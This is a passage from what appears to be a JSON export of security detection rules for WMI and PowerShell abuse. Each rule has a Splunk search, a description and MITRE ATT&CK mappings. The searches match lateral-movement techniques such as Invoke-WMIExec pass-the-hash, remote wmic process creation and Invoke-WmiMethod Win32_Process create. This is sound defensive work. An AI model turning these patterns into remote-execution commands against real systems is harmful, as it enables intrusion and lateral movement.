] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "PowerShell Invoke CIMMethod CIMSession", - "description": "The following analytic detects the creation of a New-CIMSession cmdlet followed by the use of the Invoke-CIMMethod cmdlet within PowerShell. It leverages PowerShell Script Block Logging to identify these specific cmdlets in the ScriptBlockText field. This activity is significant because it mirrors the behavior of the Invoke-WMIMethod cmdlet, often used for remote code execution via NTLMv2 pass-the-hash authentication. If confirmed malicious, this could allow an attacker to execute commands remotely, potentially leading to unauthorized access and control over targeted systems.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*invoke-CIMMethod*\", \"*New-CimSession*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_invoke_cimmethod_cimsession_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a Invoke-CIMMethod Invoke-CIMSession on $Computer$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Invoke WmiExec Usage", - "description": "The following analytic detects the execution of the Invoke-WMIExec utility within PowerShell Script Block Logging (EventCode 4104). This detection leverages PowerShell script block logs to identify instances where the Invoke-WMIExec command is used. Monitoring this activity is crucial as it indicates potential lateral movement using WMI commands with NTLMv2 pass-the-hash authentication. If confirmed malicious, this activity could allow an attacker to execute commands remotely on target systems, potentially leading to further compromise and lateral spread within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*invoke-wmiexec*\") | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_invoke_wmiexec_usage_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a Invoke-WmiExec on $Computer$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Process Execution via WMI", - "description": "The following analytic detects the execution of a process by `WmiPrvSE.exe`, indicating potential use of WMI (Windows Management Instrumentation) for process creation. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as WMI can be used for lateral movement, remote code execution, or persistence by attackers. If confirmed malicious, this could allow an attacker to execute arbitrary commands or scripts, potentially leading to further compromise of the affected system or network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=WmiPrvSE.exe NOT (Processes.process IN (\"*\\\\dismhost.exe*\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `process_execution_via_wmi_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A remote instance execution of wmic.exe by WmiPrvSE.exe detected on host - $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WMI", - "description": "The following analytic detects the execution of wmic.exe with parameters to spawn a process on a remote system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process telemetry mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as WMI can be abused for lateral movement and remote code execution, often used by adversaries and Red Teams. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, facilitating further compromise and lateral spread within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` (Processes.process=\"*/node:*\" AND Processes.process=\"*process*\" AND Processes.process=\"*call*\" AND Processes.process=\"*create*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_wmi_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA23-347A", - "Ransomware", - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A wmic.exe process $process$ contain process spawn commandline $process$ in host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WMI and PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` using the `Invoke-WmiMethod` cmdlet to start a process on a remote endpoint via WMI. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process telemetry. This activity is significant as it indicates potential lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, leading to further compromise and persistence within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"*Invoke-WmiMethod*\" AND Processes.process=\"*-CN*\" AND Processes.process=\"*-Class Win32_Process*\" AND Processes.process=\"*-Name create*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_wmi_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest by abusing WMI using PowerShell.exe", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WMI and PowerShell Script Block", - "description": "The following analytic detects the execution of the `Invoke-WmiMethod` commandlet with parameters used to start a process on a remote endpoint via WMI, leveraging PowerShell Script Block Logging (EventCode=4104). This method identifies specific script block text patterns associated with remote process instantiation. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Invoke-WmiMethod*\" AND (ScriptBlockText=\"*-CN*\" OR ScriptBlockText=\"*-ComputerName*\") AND ScriptBlockText=\"*-Class Win32_Process*\" AND ScriptBlockText=\"*-Name create*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_process_instantiation_via_wmi_and_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $Computer$ by abusing WMI using PowerShell.exe", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Remote WMI Command Attempt", - "description": "The following analytic detects the execution of `wmic.exe` with the `node` switch, indicating an attempt to spawn a local or remote process. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line arguments. This activity is significant as it may indicate lateral movement or remote code execution attempts by an attacker. If confirmed malicious, the attacker could gain remote control over the targeted system, execute arbitrary commands, and potentially escalate privileges or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` Processes.process=*node* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_wmi_command_attempt_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Graceful Wipe Out Attack", - "IcedID", - "Living Off The Land", - "Suspicious WMI Use", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A wmic.exe process $process$ contain node commandline $process$ in host $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Script Execution via WMI", - "description": "The following analytic detects the execution of scripts via Windows Management Instrumentation (WMI) by monitoring the process 'scrcons.exe'. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events. WMI-based script execution is significant because adversaries often use it to perform malicious activities stealthily, such as system compromise, data exfiltration, or establishing persistence. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, or maintain long-term access to the environment. Analysts should differentiate between legitimate administrative use and potential threats.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=scrcons.exe by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `script_execution_via_wmi_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A wmic.exe process $process_name$ that execute script in host $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows WMI Impersonate Token", - "description": "The following analytic detects potential WMI token impersonation activities in a process or command. It leverages Sysmon EventCode 10 to identify instances where `wmiprvse.exe` has a duplicate handle or full granted access in a target process. This behavior is significant as it is commonly used by malware like Qakbot for privilege escalation or defense evasion. If confirmed malicious, this activity could allow an attacker to gain elevated privileges, evade defenses, and maintain persistence within the environment.", - "search": "`sysmon` EventCode=10 SourceImage = \"*\\\\wmiprvse.exe\" GrantedAccess IN (\"0x1478\", \"0x1fffff\") | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage SourceProcessGUID TargetProcessGUID SourceProcessId TargetProcessId GrantedAccess CallTrace dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_wmi_impersonate_token_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "wmiprvse.exe process having a duplicate or full Granted Access $GrantedAccess$ to $TargetImage$ process in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows WMI Process And Service List", - "description": "The following analytic identifies suspicious WMI command lines querying for running processes or services. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific process and command-line events. This activity is significant as adversaries often use WMI to gather system information and identify services on compromised machines. If confirmed malicious, this behavior could allow attackers to map out the system, identify critical services, and plan further attacks, potentially leading to privilege escalation or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` Processes.process IN (\"*process list*\", \"*service list*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_wmi_process_and_service_list_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "wmi command $process$ to list processes and services in $dest$", - "risk_score": 4, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows WMI Process Call Create", - "description": "The following analytic detects the execution of WMI command lines used to create or execute processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line events that include specific keywords like \"process,\" \"call,\" and \"create.\" This activity is significant because adversaries often use WMI to execute malicious payloads on local or remote hosts, potentially bypassing traditional security controls. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_wmic` Processes.process = \"* process *\" Processes.process = \"* call *\" Processes.process = \"* create *\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_path Processes.process_guid Processes.parent_process_id Processes.dest Processes.user Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_wmi_process_call_create_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "IcedID", - "Qakbot", - "Suspicious WMI Use", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process with $process$ commandline executed in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "WMI Permanent Event Subscription", - "description": "The following analytic detects the creation of permanent event subscriptions using Windows Management Instrumentation (WMI). It leverages Sysmon Event ID 5 data to identify instances where the event consumers are not the expected \"NTEventLogEventConsumer.\" This activity is significant because it suggests an attacker is attempting to achieve persistence by running malicious scripts or binaries in response to specific system events. If confirmed malicious, this could lead to severe impacts such as data theft, ransomware deployment, or other damaging outcomes. Investigate the associated scripts or binaries to identify the source of the attack.", - "search": "`wmi` EventCode=5861 Binding | rex field=Message \"Consumer =\\s+(?[^;|^$]+)\" | search consumer!=\"NTEventLogEventConsumer=\\\"SCM Event Log Consumer\\\"\" | stats count min(_time) as firstTime max(_time) as lastTime by ComputerName, consumer, Message | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | rename ComputerName as dest | `wmi_permanent_event_subscription_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "WMI Temporary Event Subscription", - "description": "The following analytic detects the creation of WMI temporary event subscriptions. It leverages Windows Event Logs, specifically EventCode 5860, to identify these activities. This detection is significant because attackers often use WMI to execute commands, gather information, or maintain persistence within a compromised system. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, escalate privileges, or persist in the environment. Analysts should review the specific WMI queries and assess their intent, considering potential false positives from legitimate administrative tasks.", - "search": "`wmi` EventCode=5860 Temporary | rex field=Message \"NotificationQuery =\\s+(?[^;|^$]+)\" | search query!=\"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = 'wsmprovhost.exe'\" AND query!=\"SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'\" | stats count min(_time) as firstTime max(_time) as lastTime by ComputerName, query | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `wmi_temporary_event_subscription_filter`", - "tags": { - 